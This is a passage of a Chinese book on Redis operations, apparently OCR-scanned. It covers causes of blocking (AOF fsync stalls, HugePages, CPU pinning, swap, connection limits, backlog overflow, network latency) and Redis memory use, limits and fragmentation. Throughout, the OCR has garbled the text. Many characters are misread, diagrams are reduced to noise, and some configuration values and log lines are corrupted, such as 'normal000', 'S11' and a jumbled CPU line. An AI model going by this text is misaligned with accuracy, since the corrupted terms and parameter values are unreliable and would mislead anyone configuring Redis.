当 我 们 开局 AOF 持 入 化 功能 时 ， 文 件 刷 盘 的 方式 一 般 采 用 每 秒 一 次 ， 后 
台 线 程 每 秒 对 AOF 文 件 做 久 ync 操 作 。 当 硬盘 压力 过 大 时 ， 人 sync 操 作 需 要 等 
待 ， 直 到 写 入 完成 。 如 果 主 线程 发 现 距 离 上 一 次 的 fync 成 功 超过 2 秒 ， 为 了 
数据 安全 性 它 会 阻塞 下 到 后 人 台 线 程 执 行 全 ync 操 作 完 成 。 这 种 阻塞 行为 主要 
是 便 盘 压力 引起 ， 可 以 查看 Redis 日 志 识 别 出 这 种 情况 ， 当 发 生 这 种 阻塞 行 
为 时 ， 会 打印 如 下 日 志 : 








Asynchronous AOF fsync is taking too long (disk is busy). Writing the AOF 
buffer without waiting for fsync to complete, this may slow down Redis. 
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也 可 以 查看 info persistence 统 计 中 的 aof_delayed fsync 指 标 ， 每 次 发 生 
fdatasync 阻 塞 主 线程 时 会 累加 。 和 定位 阻塞 问题 后 具体 优化 方法 见 第 $.3 节 的 
AOF 奶 加 阻塞 部 分 。 


四 se 


人 硬盘 压力 可 能 是 Redis 进 程 引 起 的 ， 也 可 能 是 其 他 进程 引起 的 ， 可 以 使 
用 iotop 碍 看 具体 是 哪个 进程 消耗 过 多 的 便 盘 资源 。 


3.HugePage 写 操作 阻塞 


子 进程 在 执行 重 写 期 间 利用 Linux 写 时 复制 技术 降低 内 存 开 销 ， 因 此 只 
有 写 操 作 时 Redis 才 复制 要 修改 的 内 存 页 。 对 于 开启 Transparent HugePages 的 
操作 系统 ， 每 次 写 命令 引起 的 复制 内 存 页 单位 由 4K 变 为 2:MB， 放 大 了 512 
倍 ， 会 拖 慢 写 操作 的 执行 时 间 ， 导 致 大 量 写 操作 慢 查 询 。 例 如 简单 的 incr 命 
令 也 会 出 现在 慢 查 询 中 。 关 于 Transparent HugePages 的 细节 见 第 12 章 的 12.1 
节 “Linux 配 置 优化 ”。 








Redis 官 方 文 档 中 针对 绝 大 多 数 的 阻 豆 问题 进行 了 分 类 说 明 ， 这 里 不 再 


详细 介绍 ， 细 节 请 见 : http://www.redis.io/topics/latency。 
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7.3 ”外 在 原因 


排查 Redis 目 身 原 因 引 起 的 阻 竖 原因 之 后 ， 如 采 还 没有 定位 问题 ， 需 要 
排查 是 否 由 外 部 原因 引起 。 围 经 以 下 三 个 方面 进行 排查 : 


.CPU 竞争 
:内 存 交 换 


.网 络 问题 
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7.3.1 ”CPU 竞争 


CPU 竞 争 问 题 如 下 : 


进程 竞争 : Redis 是 典型 的 CPU 密集 型 应 用 ， 不 建议 和 其 他 多 核 CPU 密 
集 型 服务 部 普 在 一 起 。 当 其 他 进程 过 度 消耗 CPU 时 ， 将 严重 影响 Redis 厨 吐 
量 。 可 以 通过 top、sar 等 命令 定位 到 CPU 消耗 的 时 间 点 和 有 具体 进程 ， 这 个 问 
题 比 较 容 易 发 现 ， 需 要 调整 服务 之 间 部 署 结 构 。 





绑 定 CPU: 部 团 Redis 时 为 了 充分 利用 多 核 CPU， 通 常 一 台 机 器 部 团 多 
个 实例 。 常 见 的 一 种 优化 是 把 Redis 进 程 绑 定 到 CPU 上 ， 用 于 降低 CPU 频 繁 上 
下 文 切 换 的 开销 。 这 个 优化 技巧 正常 情况 下 没有 问题 ， 但 是 存在 例外 情况 ， 
如 图 7-2 所 示 。 





i 
GPUO | 
| CPU-1 | 





| 
hn | 
| 
Ei | 
守 进程 | CPUS | 
| used:9096+ . | th 
和 --- | | … 
| 
I ee 


图 7-2 ”Redis 绑 定 CPU 后 父子 进程 使 用 一 个 CPU 
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当 Redis 父 进程 创建 子 进程 进行 RDB/AOF 重 写 时 ， 如 果 做 了 CPU 绑 定 ， 
会 与 父 进程 共享 使 用 一 个 CPU。 子 进程 重 写 时 对 单 核 CPU 使 用 率 通 向 在 90% 
以 上 ， 父 进程 与 子 进程 将 产生 激烈 CPU 竞争 ， 极 大 影响 Redis 稳 定性 。 因 此 
对 于 开启 了 持久 化 或 参与 复制 的 主 节点 不 建议 绑 定 CPU。 
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7.3.2 内存 交换 


内 存 交 换 (swap)〉 对 于 Redis 来 说 是 非常 致命 的 ，Redis 保 证 高 性 能 的 一 
个 重要 前 提 是 所 有 的 数据 在 内 存 中 。 如 果 操 作 系统 把 Redis 使 用 的 部 分 内 存 
换 出 到 硬盘 ， 由 于 内 存 与 硬盘 读 写 速 度 差 几 个 数量 级 ， 会 导致 发 生 交 换 后 的 
Redis 性 能 急剧 下 降 。 识 别 Redis 内 存 交换 的 检查 方法 如 下 : 





1) 查询 Redis 进 程 号 : 


# redis-cli -p 6383 info server | grep process id 
process id:4476 


2) 根据 进程 号 查询 内 存 交 换 信息 : 


# cat /proc/4476/smaps | grep Swap 
Swap: 0 kB 


(ep 
马 
oy 
Ee! 
口 口 心 吕 
PN 
吕 











如 果 交 换 量 都 是 OKB 或 者 个 别 的 是 4KB， 则 是 正常 现象 ， 说 明 Redis 进 程 
内 存 没有 被 交换 。 预 防 内 存 交 换 的 方法 有 : 


保证 机 器 充足 的 可 用 内 存 。 


确保 所 有 Redis 实 例 设 置 最 大 可 用 内 存 (maxmemory) ， 防 止 极端 情况 
下 Redis 内 存 不 可 控 的 增长 。 


:降低 系统 使 用 swap 优 先 级 ， 如 echo10>/proc/sys/vm/swappiness， 具 体 细 
节 见 12.1 节 “Linux 配 置 优化 ”。 


410 


7.3.3 ”网 络 问 题 





网 络 问题 经 党 是 引起 Redis 阻 塞 的 问题 点 。 和 常见 的 网 络 问题 主要 有 : 连 
接 拒 绝 、 网 络 延 返 、 网 卡 软 中 断 等 。 


1. 连 接 拒绝 


当 出 现 网 络 内 断 或 者 连接 数 洲 出 时 ， 客 户 端 会 出 现 无 法 连接 Redis 的 情 
况 。 我 们 需要 区 分 这 三 种 情况 : 网 络 内 汤 、Redis 连 接 拒 绝 、 连 接 洲 出 。 


一 种 情况 : 网 络 内 断 。 一 般 发 生 在 网 络 割 接 或 者 带宽 耗 尽 的 情况 ， 对 
于 网 络 内 断 的 识别 比较 困难 ， 常 见 的 做 法 可 以 通过 sar-n DEV 碍 看 本 机 历史 
流量 是 舍 正 常 ， 或 者 借助 外 部 系统 监控 工具 (如 Ganglia》 进 行 识别 。 上 其 体 
问题 定位 需要 更 上 层 的 运 维 文 持 ， 对 于 重要 的 Redis 服 务 需要 充分 考虑 部 著 
架构 的 优化 ， 尺 量 避 人 免 客户 端 与 Redis 之 间 寞 地 跨 机 房 调 用 。 





第 二 种 情况 : Redis 连 接 拒绝 。Redis 通 过 maxclients 参 数控 制 客户 端 最 大 
连接 数 ， 默 认 10000。 当 Redis 连 接 数 大 于 maxclients 时 会 拒绝 新 的 连接 进入 ， 
info stats 的 rejected_connections 统 计 指 标记 录 所 有 被 拒绝 连接 的 数量 : 





# redis-cli -p 6384 info Stats | grep rejected connections 
rejected connections:0 








Redis 使 用 多 路 复 用 IO 模 型 可 文 撑 大 量 连 接 ， 但 是 不 代表 可 以 无 限 连 
接 。 客 户 端 访问 Redis 时 尽量 采用 NIO 长 连接 或 者 连接 池 的 方式 。 


Oj 
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当 Redis 用 于 大 量 分 布 式 节点 访问 且 生 命 周 期 比较 短 的 场景 时 ， 如 比较 
典型 的 在 Map/Reduce 中 使 用 Redis。 因 为 客户 端 服务 存在 频繁 启动 和 销毁 的 
情况 且 默 认 Redis 不 会 主动 关闭 长 时 间 闲 置 连接 或 检查 关闭 无 效 的 TCP 连 
接 ， 因 此 会 导致 Redis 连 接 数 快速 消耗 且 无 法 释放 的 问题 。 这 种 场景 下 建议 
设置 trp-keepalive 和 timeout 参 数 让 Redis 主 动 检查 和 关闭 无 效 连接 。 











第 三 种 情况 : 连接 溢出 。 这 是 指 操作 系统 或 者 Redis 客 户 端 在 连接 时 的 
问题 。 这 个 问题 的 原因 比较 多 ， 下 面 就 分 别 介 绍 两 种 原因 : 进程 限制 、 
backlog 队 列 洲 出。 


(1) 进程 限制 


客户 端 想 成 功 连接 上 Redis 服 务 需要 操作 系统 和 Redis 的 限制 都 通过 才 可 
以 ， 如 图 7-3 所 示 。 





Eee 
广 一 -一 一 - | 返 作 系统 redis 
client 和 ulimit-n | 一 一 一生 | maxclients 


i NCC backlog backlog 
aa 





图 7-3 ”操作 系统 和 Redis 对 客户 端 连接 的 双重 限制 





操作 系统 一 般 会 对 进程 使 用 的 资源 做 限制 ， 其 中 一 项 是 对 进程 可 打开 最 
大 文件 数控 制 ， 通 过 ulimit-n 查 看 ， 通 常 默认 1024。 由 于 Linux 系 统 对 TCP 连 
接 也 定义 为 一 个 文件 句柄 ， 因 此 对 于 文 撑 大 量 连接 的 Redis 来 说 需要 增 大 这 
个 值 ， 如 设置 ulimit-n65535， 防 止 Too many open files 错 误 。 


(2) backlog 队 列 洲 出 
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系统 对 于 特定 端口 的 TCP 连 接 使 用 backlog 队 列 保存 。Redis 默 认 的 长 度 
为 S11， 通 过 tcp-backlog 参 数 设置 。 如 果 Redis 用 于 高 并 发 场景 为 了 防止 缓慢 

连接 占用 ， 可 适当 增 大 这 个 设置 ， 但 必须 大 于 操作 系统 允许 值 才 能 生效 。 当 
Redis 启 动 时 如 果 tcp-backlog 设 置 大 于 系统 允许 值 将 以 系统 值 为 准 ，Redis 打 
印 如 下 警告 日 志 : 








# WARNING: The TCP backlog setting of 511 cannot b nforced because /proc/sys/ 
net/core/somaxconn is set to the lower value of 128. 








系统 的 Es 为 128， 使 用 echo511>/proc/sys/net/core/somaxconn 
令 进行 修改 。 可 以 通过 netstat-s 命 令 获 取 因 backlog 队 列 洲 出 造成 的 连接 拒 
绝 统 计 ， 如 下 : 


人 





# netstat -s | grep overflowed 
663 times the listen queue of a socket overflowed 








© nn 


如 有 果 怀 疑 是 backlog 队 列 洲 出 ， 线 上 可 以 使 用 cron 定 时 执行 netstat-slgrep 
overflowed 统 计 ， 查 看 是 否 有 持续 增长 的 连接 拒绝 情况 。 











2. 网 络 延迟 


网 络 延迟 取决 于 客户 端 到 Redis 服 务 器 之 间 的 网 络 环境 。 主 要 包括 它们 
之 间 的 物理 拓扑 和 带宽 占用 情况 。 常 见 的 物理 拓扑 按 网 络 延迟 由 快 到 慢 可 分 
为 : 同 物理 机 > 同 机 架 > 跨 机 架 > 同 机 房 > 同 城 机 房 > 异 地 机 房 。 但 它们 容 灾 性 
正好 相反 ， 同 物理 机 容 灾 性 最 低 而 异地 机 房 容 灾 性 最 高 。Redis 提 供 了 测量 
机 器 之 间 网 络 延 迟 的 工具 ， 在 redis-cli-hfhosty-pfport 命令 后 面 加 入 如 下 参 
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数 进行 延迟 测试 : 





--latency: 持续 进行 延迟 测试 ， 分 别 统计 : 最小 值 、 最 大 值 、 平 均值 、 
采样 次 数 。 


`--latency-history: 统计 结果 同 --latency， 但 默认 每 15 秒 完成 一 行 统 计 ， 
可 通过 -i 参数 控制 采样 时 间 。 


-latency-dist: 使 用 统计 图 的 形式 展示 延迟 统计 ， 每 1 秒 采 样 一 次 。 








网 络 延迟 问题 经 常 出 现在 路 机 房 的 部 署 结构 上 ， 对 于 机 房 之 间 延 迟 比 较 
严重 的 场景 需要 调整 拓扑 结构 ， 如 把 客户 端 和 Redis 部 效 在 同 机 房 或 同城 机 


房 扫 : 
带 览 瓶颈 通 季 出 现在 以 下 几 个 方面 : 


-机 器 网 卡带 宽 。 


机 房 之 间 专 线 融 宽 。 





市 宽 占 用 主要 根据 当时 使 用 率 是 否 达到 瓶颈 有 关 ， 如 频 系 操作 Redis 的 
大 对 象 对 于 干 兆 网 卡 的 机 器 很 容易 达到 网 卡 短 人 席 ， 因 此 需要 重点 监控 机 器 沈 
量 ， 及 时 发 现 网 卡 打 满 产生 的 网 络 延 迟 或 通信 中 断 等 情况 ， 而 机 房 专线 和 交 
换 机 带宽 一 般 由 上 层 运 维 监控 支持 ， 通 常 出 现 瓶颈 的 概率 较 小 。 





3. 网 卡 软 中 断 
网 卡 软 中 断 是 指 由 于 单个 网 卡 队列 只 能 使 用 一 个 CPU， 高 并 发 下 网 卡 数 
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据 交 互 都 集中 在 同一 个 CPU， 导 致 无 法 充分 利用 多 核 CPU 的 情况 。 网 卡 软 中 
断 瓶 颈 一 般 出 现在 网 络 高 流量 吞吐 的 场景 ， 如 下 使 用 "top+ 数 字 ]1 命 令 可 以 
很 明显 看 到 CPU1 的 软 中 断 指 标 〈si) 过 高 : 





Cpu0 : 15.3%us, 0.3%sy, 0.0%Sni, 84.4%id, 0.0%Swa, 0.0%hi, 0.0%si, 0.0%st 
Cpul : 16.6%us, 2.0%sy, 0.0%Sni, 47.1%id, 3.3%Swa, 0.0%hi, 31.0%si, 0.0%st 
Cpu2 : 13.3%Sus, 0.7%sy, 0.0sni 86.0%id, 0.0%$wa, 0.0shi 0.0%si, 0.0%st 
Cpu3 : 14.3%Sus, 1.7%sy, 0.0sni 82.4%id, 1.0%$wa, 0.0%hi, 0.7%si, 0.0%st 


CBULS 10.3%u8 8:0%8Yy; .0.0%nis 8.7%id;y Le7T%war O03%hiy 10%81i; OQ.0%st 





Linux 在 内 核 2.6.35 以 后 支持 Receive Packet Steering (RPS) ， 实 现 了 在 
软件 层面 模拟 硬件 的 多 队列 网 卡 功能 。 如 何 配 置 多 CPU 分 挫 软 中 断 已 超出 本 
书 的 范畴 ， 有 具体 配置 见 Torvalds 的 GitHub 文 
档 : https://github.comy/torvalds/linux/blob/master/Documentation/networking/scali 
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7.4 本 草 重 点 回顾 


1) 客户 闪 最 先 感知 阻塞 等 Redis 超 时 行为 ， 加 入 日 志 监 控 报 警 工 具 可 快 
速 定位 阻 窟 问题， 同时 需要 对 Redis 进 程 和 机 器 做 全 面 监控 。 








2) 阻塞 的 内 在 原因 : 确认 主线 程 是 人 否 存在 阻塞 ， 检 碍 慢 租 询 等 信息 ， 
发 现 不 合理 使 用 API 或 数据 结构 的 情况 ， 如 keys、sort、hgetall 等 。 关 注 CPU 
使 用 率 防止 单 核 跑 满 。 当 硬盘 IO 资源 紧张 时 ，AOF 追 加 也 会 阻塞 主线 程 。 








3) 阻塞 的 外 在 原因 : 从 CPU 竞争 、 内 存 交 换 、 网 络 问题 等 方面 入 手 排 
但是 否 因为 系统 层面 问题 引起 阻 紧 。 
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第 8 章 ”理解 内 存 





Redis 所 有 的 数据 都 存在 内 存 中 ， 当 前 内 存 虽 然 越 来 越 便宜 ， 但 跟 廉 价 
的 硬盘 相 比 成 本 还 是 比较 昂贵 ， 因 此 如 何 高 效 利用 Redis 内 存 变 得 非常 重 
要 。 局 效 利用 Redis 内 存 首先 需要 理解 Redis 内 存 消 耗 在 哪里 ， 如 何 窟 理 内 
存 ， 最 后 才能 考虑 如 何 优 化 内 存 。 午 握 这 些 知识 后 能 够 实现 用 更 少 的 内 存 存 
储 更 多 的 数据 ， 从 而 降低 成 本 。 本 章 主 要 内 容 如 下 : 











-内存 消耗 分 析 。 
.管理 内 存 的 原理 与 方法 。 


-内存 优化 技巧 。 
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8.1 ”内存 消耗 


理解 Redis 内 存 ， 首 先 需 要 掌握 Redis 内 存 消 耗 在 哪些 方面 。 有 些 内 存 消 
耗 是 必 不 可 少 的 ， 而 有 些 可 以 通过 参数 调整 和 合理 使 用 来 规避 内 存 浪费 。 内 
存 消耗 可 以 分 为 进程 自身 消耗 和 子 进程 消耗 。 
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8.1.1 内 存 使 用 统计 


首先 需要 了 解 Redis 上 自身 使 用 内 存 的 统计 数据 ， 可 通过 执行 info memory 
命令 获取 内 存 相 关 指 标 。 读 懂 每 个 指标 有 助 于 分 析 Redis 内 存 使 用 情况 ， 表 
8-1 列 举 出 内 存 统计 指标 和 对 应 解释 。 


表 8-1 info memory 详 细 解 释 


属性 说 明 
Redis 分 配器 分 配 的 内 存 总 量 ， 也 就 是 内 部 存储 的 所 有 数据 内 存 占用 量 


属性 名 


used memory 





( 续 ) 
属性 名 属性 说 明 
used memory human 以 可 读 的 格式 返回 used memory 
used memory rss 从 操作 系统 的 角度 显示 Redis 进程 占用 的 物理 内 存 总 量 
used memory peak 内 存 使 用 的 最 大 值 ， 表 示 used_memory 的 峰值 
used memory peak human 以 可 读 的 格式 返回 used_memory Peak 
used memory lua Lua 引擎 所 消耗 的 内 存 大 
mem fragmentation ratio used memo es 比值 ， 表 示 内 存 碎 片 率 
mem allocator Redis 所 使 用 的 内 存 分 配 需 。 默 认为 jemalloc 


需要 重点 关注 的 指标 有 : used memory rss 和 used _ memory 以 及 它们 的 比 


值 mem fragmentation ratio。 


当 mem fragmentation ratio>1 时 ， 说 明 used memory rss-used memory 多 出 
的 部 分 内 存 并 没有 用 于 数据 存储 ， 而 是 被 内 存 碎片 所 消耗 ， 如 果 两 者 相差 很 
大 ， 说 明 碎 片 率 严重 。 


当 mem fragmentation ratio<1 时 ， 这 种 情况 一 般 出 现在 操作 系统 把 Redis 
内 存 交 换 (Swap〉 到 硬盘 导致 ， 出 现 这 种 情况 时 要 格外 关注 ， 由 于 人 硬盘 速 
度 远 远 慢 于 内 存 ，Redis 性 能 会 变 得 很 差 ， 甚 至 僵 死 。 
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8.1.2 ”内 存 消 耗 划 分 


Redis 进 程 内 消耗 主要 包括 : 自身 内 存 + 对 象 内 存 + 缓 冲 内 存 + 内 存 碎 片 ， 
其 中 Redis 空 进程 自身 内 存 消 耗 非常 少 ， 通 音 used_memory rss 在 3MB 左 右 ， 
used memory 在 800KB 左 右 ， 一 个 空 的 Redis 进 程 消耗 内 存 可 以 忽略 不 计 。 
Redis 主 要 内 存 消耗 如 图 8-1 所 示 。 下 面 介 绍 男 外 三 种 内 存 消耗 。 


向 存 总 消耗 划分 


自身 内 存 


i ee 
| Used memory rss 
和 A | 上 上 EE “ 

向 存 碎 上 } -used_memory | 


一 一 一 
A 
车- 
Pay 
A 
一 一 


图 8-1 Redis 内 存 消 耗 划 分 


1. 对 象 内 存 





对 象 内 存 是 Redis 内 存 占用 最 大 的 一 块 ， 存 储 着 用 户 所 有 的 数据 。Redis 
所 有 的 数据 都 采用 key-value 数 据 类 型 ， 每 次 创建 键 值 对 时 ， 至 少 创建 两 个 类 
型 对 象 : key 对 象 和 value 对 象 。 对 象 内 存 消耗 可 以 简单 理解 为 sizeof (keys) 
+sizeof (values) 。 键 对 象 都 是 字符 串 ， 在 使 用 Redis 时 很 容易 忽略 键 对 内 存 
消耗 的 影响 ， 应 当 避 免 使 用 过 长 的 键 。value 对 象 更 复杂 些 ， 主 要 包含 $ 种 基 
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本 数据 类 型 : 字符 串 、 列 表 、 哈 希 、 集 合 、 有 序 集 合 。 其 他 数据 类 型 都 是 建 
立 在 这 5 种 数据 结构 之 上 实现 的 ， 如 : Bitmaps 和 HyperLogLog 使 用 字符 串 实 
现 ，GEO 使 用 有 序 集合 实现 等 。 每 种 value 对 象 类 型 根据 使 用 规模 不 同 ， 占 
用 内 存 不 同 。 在 使 用 时 一 定 要 合理 预 估 并 监控 value 对 象 占用 情况 ， 避 和 免 内 
存 溢 出 。 








2. 绥 冲 内 存 
缓冲 内 存 主要 包括 : 客户 端 缓冲 、 复 制 积压 缓冲 区 、AOF 缓 冲 区 。 


客户 端 缓冲 指 的 是 所 有 接 入 到 Redis 服 务 器 TCP 连 接 的 输入 输出 缓冲 。 
输入 绥 冲 无 法 控制 ， 最 大 空间 为 1G， 如 果 超 过 将 断 开 连接 。 输 出 缓冲 通过 
参数 client-output-buffer-limit 控 制 ， 如 下 所 示 : 


普通 客户 端 : 除了 复制 和 订阅 的 客户 端 之 外 的 所 有 连接 ，Redis 的 默认 
配置 是 : client-output-buffer-limit normal000，Redis 并 没有 对 普通 客户 端的 输 
出 缓冲 区 做 限制 ， 一 般 普通 客户 端的 内 存 消耗 可 以 忽略 不 计 ， 但 是 当 有 大 量 
慢 连 接客 户 端 接 入 时 这 部 分 内 存 消耗 就 不 能 忽略 了 ， 可 以 设置 maxclients 做 
限制 。 特 别 是 当 使 用 大 量 数据 输出 的 命令 且 数 据 无 法 及 时 推送 给 客户 端 时 ， 
如 monitor 命 令 ， 容 易 造 成 Redis 服 务 器 内 存 突然 髓 升 。 











:从 客户 端 : 主 节点 会 为 每 个 从 节点 单独 建立 一 条 连接 用 于 命令 复制 ， 
默认 配置 是 : client-output-buffer-limit slave256mb64mb60。 当 主 从 节点 之 间 
网 络 延迟 较 高 或 主 节点 挂 载 大 量 从 节点 时 这 部 分 内 存 消耗 将 占用 很 大 一 部 
分 ， 建 议 主 节点 挂 载 的 从 节点 不 要 多 于 2 个 ， 主 从 节点 不 要 部 署 在 较 差 的 网 
络 环境 下 ， 如 异地 跨 机 房 环 境 ， 防 止 复制 客户 端 连接 缓慢 造成 溢出 。 
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订阅 客户 端 : 当 使 用 发 布 订 阅 功能 时 ， 连 接客 户 端 使 用 单独 的 输出 组 
冲 区 ， 默 认 配 置 为 ;clientroutputbuffsr-limit pubsub32mb8mb60， 当 订阅 服务 
的 消息 生产 快 于 消费 速度 时 ， 输 出 缓冲 区 会 产生 积压 造成 输出 绥 冲 区 空间 液 
Hs 











输入 输出 缓冲 区 在 大 流量 的 场景 中 容易 失控 ， 造 成 Redis 内 存 的 不 稳 


定 ， 需 要 重点 监控 ， 有 具体 细节 见 4.4 节 中 客户 端 管理 部 分 。 





复制 积压 缓冲 区 : Redis 在 2.8 版 本 之 后 提供 了 一 个 可 重用 的 固定 大 小 绥 
冲 区 用 于 实现 部 分 复制 功能 ， 根 据 repl-backlog-size 参 数控 制 ， 默 认 1MB。 对 
于 复制 积压 缓冲 区 整个 主 节 点 只 有 一 个 ， 所 有 的 从 节点 共享 此 缓冲 区 ， 因 此 
可 以 设置 较 大 的 缓冲 区 空间 ， 如 100MB， 这 部 分 内 存 投入 是 有 价值 的 ， 可 以 
有 效 避 免 全 量 复制 ， 更 多 细节 见 第 6.4 节 。 














AOF 组 冲 区 : 这 部 分 空间 用 于 在 Redis 重 写 期 间 保存 最 近 的 写 入 命令 ， 
有 具体 细节 见 $.2 节 。AOF 组 冲 区 空间 消耗 用 户 无 法 控制 ， 消 耗 的 内 存 取决 于 
AOF 重 写 时 间 和 写 入 命令 量 ， 这 部 分 空间 占用 通常 很 小 。 





3. 内 存 人 雄 片 


Redis 默 认 的 内 存 分 配器 采用 jemalloc， 可 选 的 分 配器 还 有 : glibc、 
temalloc。 内 存 分 配器 为 了 更 好 地 管理 和 重复 利用 内 存 ， 分 配 内 存 策 略 一 般 
采用 固定 范围 的 内 存 块 进行 分 配 。 例 如 jemalloc 在 64 位 系统 中 将 内 存 空间 划 
分 为 : 小 、 大 、 巨 大 三 个 范围 。 每 个 范围 内 又 划分 为 多 个 小 的 内 存 块 单位 ， 
如 下 所 示 : 


小: [8byte]，[16byte，32byte，48byte，.…，128byte]，[192byte， 
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256byte，...，512byte]，[768byte，1024byte，.…，3840byte] 
:巨大 : [4MB，8MB，12MB，.…] 


比如 当 保 存 SKB 对 象 时 jemalloc 可 能 会 采用 8KB 的 块 存 储 ， 而 剩 下 的 3KB 
空间 变 为 了 内 存 碎片 不 能 再 分 配给 其 他 对 象 存 储 。 内 存 碎片 问题 虽然 是 所 有 
内 存 服务 的 通病 ， 但 是 jemalloc 针 对 碎片 化 问题 专门 做 了 优化 ， 一 般 不 会 存 
在 过 度 碎 片 化 的 问题 ， 正 常 的 碎片 率 (mem fragmentation ratio) 在 1.03 磊 
右 。 但 是 当 存 储 的 数据 长 短 差异 较 大 时 ， 以 下 场景 容易 出 现 高 内 存 碎 片 问 


题 ; 





:频繁 做 更 新 操作 ， 例 如 频繁 对 已 存在 的 键 执行 append、setrange 等 更 新 
上。 


大 量 过 期 键 删除 ， 键 对 象 过 期 删除 后 ， 释 放 的 空间 无 法 得 到 充分 利 
用 ， 导 致 碎 卢 率 上 升 。 


出 现 高 内 存 人 碎片 问题 时 和 常见 的 解决 方式 如 下 : 


数据 对 齐 : 在 条 件 允 许 的 情况 下 尽量 做 数据 对 齐 ， 比 如 数据 尽量 采用 
数字 类 型 或 者 固定 长 度 字 符 串 等 ， 但 是 这 要 视 具 体 的 业务 而 定 ， 有 些 场景 无 
法 做 到 。 





安全 重启 : 重 局 节点 可 以 做 到 内 存 雁 片 重新 整理 ， 因 此 可 以 利用 高 可 
用 如 构 ， 如 Sentinel 或 Cluster， 将 碎片 率 过 高 的 主 节 点 转换 为 从 节点 ， 进 行 
安全 重 局 。 
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8.1.3” 子 进程 内 存 消耗 


子 进程 内 存 消耗 主要 指 执行 AOF/RDB 重 写 时 Redis 创 建 的 子 进程 内 存 消 
耗 。Redis 执 行 fork 操 作 产 生 的 子 进 程 内 存 占 用 量 对 外 表现 为 与 父 进程 相同 ， 
理论 上 需要 一 倍 的 物理 内 存 来 完成 重 写 操作 。 但 Linux 具 有 写 时 复制 技术 
Ccopy-on-wriite) ， 父 子 进程 会 共 孚 相同 的 物理 内 存 页 ， 当 父 进程 处 理 写 请 
求 时 会 对 需要 修改 的 页 复制 出 一 份 副 本 完成 写 操作 ， 而 子 进 程 依然 读 取 fork 
时 整个 父 进程 的 内 存 快照 。 





Linux Kernel 在 2.6.38 内 核 增加 了 Transparent Huge Pages CTHP) 机 制 ， 而 
有 些 Linux 发 行 版 即使 内 核 达 不 到 2.6.38 也 会 默认 加 入 并 开启 这 个 功能 ， 如 
Redhat Enterprise Linux 在 6.0 以 上 版 本 默认 会 引入 THP。 虽 然 开 启 THP 可 以 降 
低 fork 子 进程 的 速度 ， 但 之 后 copy-on-write 期 间 复制 内 存 页 的 单位 从 4KB 变 
为 2MB， 如 果 父 进程 有 大 量 写 命 令 ， 会 加 重 内 存 拷贝 量 ， 从 而 造成 过 度 内 存 
消耗 。 例 如 ， 以 下 两 个 执行 AOF 重 写 时 的 内 存 消耗 日 志 : 














2 邮电: 

C * AOF rewrite: 1039 MB of memory used by copy-on-write 
// 关闭 THP : 

C * AOF rewrite: 9 MB of memory used by copy-on-write 

















这 两 个 日 志 出 自 同一 Redis 进 程 ，used memory 总 量 为 1.5GB， 子 进程 执 
行 期 间 每 秒 写 命令 量 都 在 200 左 右 。 当 分 别 开 启 和 关闭 THP 时 ， 子 进程 内 存 
消耗 有 天 壤 之 别 。 如 果 在 高 并 发 写 的 场景 下 开启 THP， 子 进程 内 存 消耗 可 能 
是 父 进程 的 数 倍 ， 极 易 造 成 机 器 物理 内 存 溢出 ， 从 而 触发 SWAP 或 OOM 
killer， 更 多 关于 THP 细 节 见 12.1 市 “Linux 配 置 优化 ”。 
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子 进程 内 存 消耗 总 结 如 下 : 








-Redis 产 生 的 子 进程 并 不 需要 消耗 1 倍 的 父 进程 内 存 ， 实 际 消耗 根据 期 
间 写 入 命令 量 决 定 ， 但 是 依然 要 预 留 出 一 些 内 存 防 止 淤 出 。 





.需要 设置 sysctl vm.overcommit memory=1 人 允许 内 核 可 以 分 配 所 有 的 物理 
内 存 ， 防 止 Redis 进 程 执行 fork 时 因 系 统 剩 余 内 存 不 足 而 失败 。 





:排查 当前 系统 是 否 支 持 并 开启 THP， 如 果 开 启 建议 关闭 ， 防 止 copy-on- 
write 期 间 内 存 过 度 消 耗 。 


431 


8.2 内存 管理 


Redis 主 要 通过 控制 内 存 上 限 和 回收 策略 实现 内 存 管 理 ， 本 节 将 围绕 这 
两 个 方面 来 介绍 Redis 如 何 管理 内 存 。 
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8.2.1 设置 内 存 上 限 


Redis 使 用 maxmemory 参 数 限制 最 大 可 用 内 存 。 限 制 内 存 的 目的 主要 
有 : 


.用 于 缓存 场景 ， 当 超出 内 存 上 限 maxmemory 时 使 用 LRU 等 删除 策略 释放 


空间 。 
.防止 所 用 内 存 超过 服务 器 物理 内 存 。 


需要 注意 ，maxmemory 限 制 的 是 Redis 实 际 使 用 的 内 存量 ， 也 就 是 
used_memory 统 计 项 对 应 的 内 存 。 由 于 内 存 碎片 率 的 存在 ， 实 际 消耗 的 内 存 
可 能 会 比 maxmemory 设 置 的 更 大 ， 实 际 使 用 时 要 小 心 这 部 分 内 存 溢出 。 通 过 
设置 内 存 上 限 可 以 非常 方便 地 实现 一 台 服 务 器 部 署 多 个 Redis 进 程 的 内 存 控 
制 。 比 如 一 台 24GB 内 存 的 服务 器 ， 为 系统 预 留 4GB 内 存 ， 预 留 4GB 空 闲 内 
存 给 其 他 进程 或 Redis fork 进 程 ， 留 给 Redis16GB 内 存 ， 这 样 可 以 部 署 4 个 
maxmemory=4GB 的 Redis 进 程 。 得 益 于 Redis 单 线程 架构 和 内 存 限制 机 制 ， 即 
使 没有 采用 虚拟 化 ， 不 同 的 Redis 进 程 之 间 也 可 以 很 好 地 实现 CPU 和 内 存 的 
隔离 性 ， 如 图 8-2 所 示 。 
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balal prempr ne, 


| | 
| | 
linux-used:4GB | | 
OO 
free:4GB | | 
; | xedis-1:4GB reli TN | | 
| | 
| 1 
| 1 
| | 
| | 
| | 
| | 





redis-2:4GB edis-2:4GB | 


| xedis-3:4GB redis-3:4GB | 
| edis-4:4GB redis-4:4GB a 


图 8-2 ”服务 器 分 配 4 个 4GB 的 Redis 进 程 
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8.2.2 ”动态 调整 内 存 上 限 


Redis 的 内 存 上 限 可 以 通过 config set maxmemory 进 行动 态 修改 ， 即 修改 
最 大 可 用 内 存 。 例 如 之 前 的 示例 ， 当 发 现 Redis-2 没 有 做 好 内 存 预 估 ， 实 际 
只 用 了 不 到 2GB 内 存 ， 而 Redis-1 实 例 需 要 扩容 到 6GB 内 存 才 够 用 ， 这 时 可 以 
分 别 执行 如 下 命令 进行 调整 : 








Redis-1l>config set maxmemory 6GB 
Redis-2>config set maxmemory 2GB 





通过 动态 修改 maxmemory， 可 以 实现 在 当前 服务 器 下 动态 伸缩 Redis 内 
存 的 目的 ， 如 图 8-3 所 示 。 


to Ee 


| | 
| | 
| linux-used:4 GB | | 
一 -一 一 一 
free:4GB | ; 
